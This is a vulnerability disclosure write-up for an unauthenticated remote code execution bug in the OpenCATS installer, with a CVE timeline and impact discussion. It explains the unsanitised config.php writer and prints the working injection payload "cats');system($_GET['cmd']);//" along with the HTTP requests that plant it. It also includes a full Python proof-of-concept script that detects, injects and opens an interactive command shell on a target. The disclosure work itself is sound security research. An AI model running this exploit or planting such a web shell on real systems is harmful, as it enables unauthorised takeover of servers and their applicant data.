Unauthenticated RCE in OpenCATS via Installer Config Injection

Valentin Lobstein /
Table of Contents

TL;DR

The OpenCATS installer AJAX endpoint writes user-supplied input directly into config.php without sanitization. An attacker can inject arbitrary PHP code by breaking out of a define() statement, achieving unauthenticated RCE on any instance where the installation wizard was not completed.

FieldValue
SeverityCritical (CVSS 9.2)
CWECWE-94 - Code Injection
AffectedAll versions (tested on latest commit 46e4727)
PrerequisiteINSTALL_BLOCK file absent (incomplete installation)

Background

OpenCATS is an open-source Applicant Tracking System. It’s the upstream project behind CATSone, a commercial recruiting platform still actively sold at $89/user/month. The open-source version is actively maintained with recent commits as of February 2026.

OpenCATS has had its share of CVEs before - XXE in DocumentToText (CVE-2019-13358), unsafe deserialization in DataGrid (CVE-2021-25294, CVE-2022-43019). This one targets the installer.


The Vulnerability

The Sink

When OpenCATS processes database configuration during installation, it calls CATSUtility::changeConfigSetting() to update config.php:

public static function changeConfigSetting($name, $value)
{
    $config = @file('config.php');
    $newconfig = array();
    foreach ($config as $index => $line)
    {
        if (strpos($line, 'define(\'' . $name . '\'') === 0)
            $newconfig[] = sprintf("define('%s', %s);", $name, $value);
        else
            $newconfig[] = rtrim($line);
    }
    $result = @file_put_contents('config.php', implode("\n", $newconfig) . "\n");
}

The $value parameter is interpolated directly into a define() statement with zero sanitization.

The Source

The installer AJAX endpoint at modules/install/ajax/ui.php passes raw $_REQUEST data straight to this sink:

case 'databaseConnectivity':
    if (isset($_REQUEST['user']) && !empty($_REQUEST['user']))
    {
        CATSUtility::changeConfigSetting('DATABASE_USER', "'" . $_REQUEST['user'] . "'");
    }
    // Same for 'pass', 'host', 'name'

No escaping. No validation. The user parameter is wrapped in single quotes and handed to changeConfigSetting(), which writes it into config.php.

The Gate

This endpoint is protected by a single check at line 55:

if (file_exists('INSTALL_BLOCK'))
{
    // die
}

The INSTALL_BLOCK file is only created when the installation wizard completes successfully (line 1007). It’s excluded from release archives (.gitignore, ci/package-code.sh). Any instance where the wizard was never finalized is wide open.


Exploitation

Step 1: Check if the installer is accessible

GET /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1

If the response contains setActiveStep, the installer is active. If it contains installLocked, INSTALL_BLOCK is present and the endpoint is gated.

Step 2: Inject PHP into config.php

POST /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user=cats');system($_GET['cmd']);//

This transforms config.php line 40 from:

define('DATABASE_USER', 'cats');

To:

define('DATABASE_USER', 'cats');system($_GET['cmd']);//');

Step 3: Execute commands

GET /index.php?cmd=id HTTP/1.1
uid=82(www-data) gid=82(www-data) groups=82(www-data)

Every page load now executes the injected code since config.php is included globally.


PoC

#!/usr/bin/env python3
"""OpenCATS - Unauthenticated RCE via Installer Config Injection"""

import argparse
import sys

import requests

INJECT_ENDPOINT = "/ajax.php"
INJECT_PARAMS = {"f": "install:ui", "a": "databaseConnectivity"}


def check(target, session):
    resp = session.get(f"{target}{INJECT_ENDPOINT}", params=INJECT_PARAMS)
    if resp.status_code != 200:
        return False
    if "installLocked" in resp.text:
        return False
    return "setActiveStep" in resp.text


def inject(target, session):
    payload = "cats');system($_GET['cmd']);//"
    return session.post(
        f"{target}{INJECT_ENDPOINT}",
        params=INJECT_PARAMS,
        data={"user": payload},
    ).status_code == 200


def execute(target, cmd, session):
    resp = session.get(f"{target}/index.php", params={"cmd": cmd})
    return resp.text.split("<!DOCTYPE", 1)[0].strip()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("target", help="http://host:port")
    parser.add_argument("-c", "--cmd", help="Command to execute")
    parser.add_argument("--check", action="store_true")
    args = parser.parse_args()

    target = args.target.rstrip("/")
    session = requests.Session()

    if not check(target, session):
        print("[-] Not vulnerable")
        sys.exit(1)

    print("[+] Installer accessible")

    if args.check:
        sys.exit(0)

    if not inject(target, session):
        print("[-] Injection failed")
        sys.exit(1)

    result = execute(target, "id", session)
    if not result:
        print("[-] RCE failed (config.php not writable?)")
        sys.exit(1)

    print(f"[+] RCE: {result}")

    if args.cmd:
        print(execute(target, args.cmd, session))
    else:
        while True:
            try:
                cmd = input("$ ")
            except (EOFError, KeyboardInterrupt):
                break
            if cmd.strip() == "exit":
                break
            output = execute(target, cmd, session)
            if output:
                print(output)


if __name__ == "__main__":
    main()

Real-World Impact

Let’s be honest: this is unlikely to be exploitable in the wild. The vulnerability requires INSTALL_BLOCK to be absent, which means the installation wizard was never completed. I checked and found no instances with an exposed installer wizard on the internet.

That said, the pattern is a textbook case of CWE-94 and mirrors CVE-2009-1151 in phpMyAdmin, where the setup script similarly allowed code injection into config.inc.php. Same class of bug, 17 years later.


Disclosure Timeline

DateEvent
2026-02-27Vulnerability discovered
2026-02-27CVE requested via VulnCheck
2026-02-27Maintainer notified
2026-04-28Maintainer confirmed go-ahead for publication
2026-04-28CVE-2026-27760 assigned - public disclosure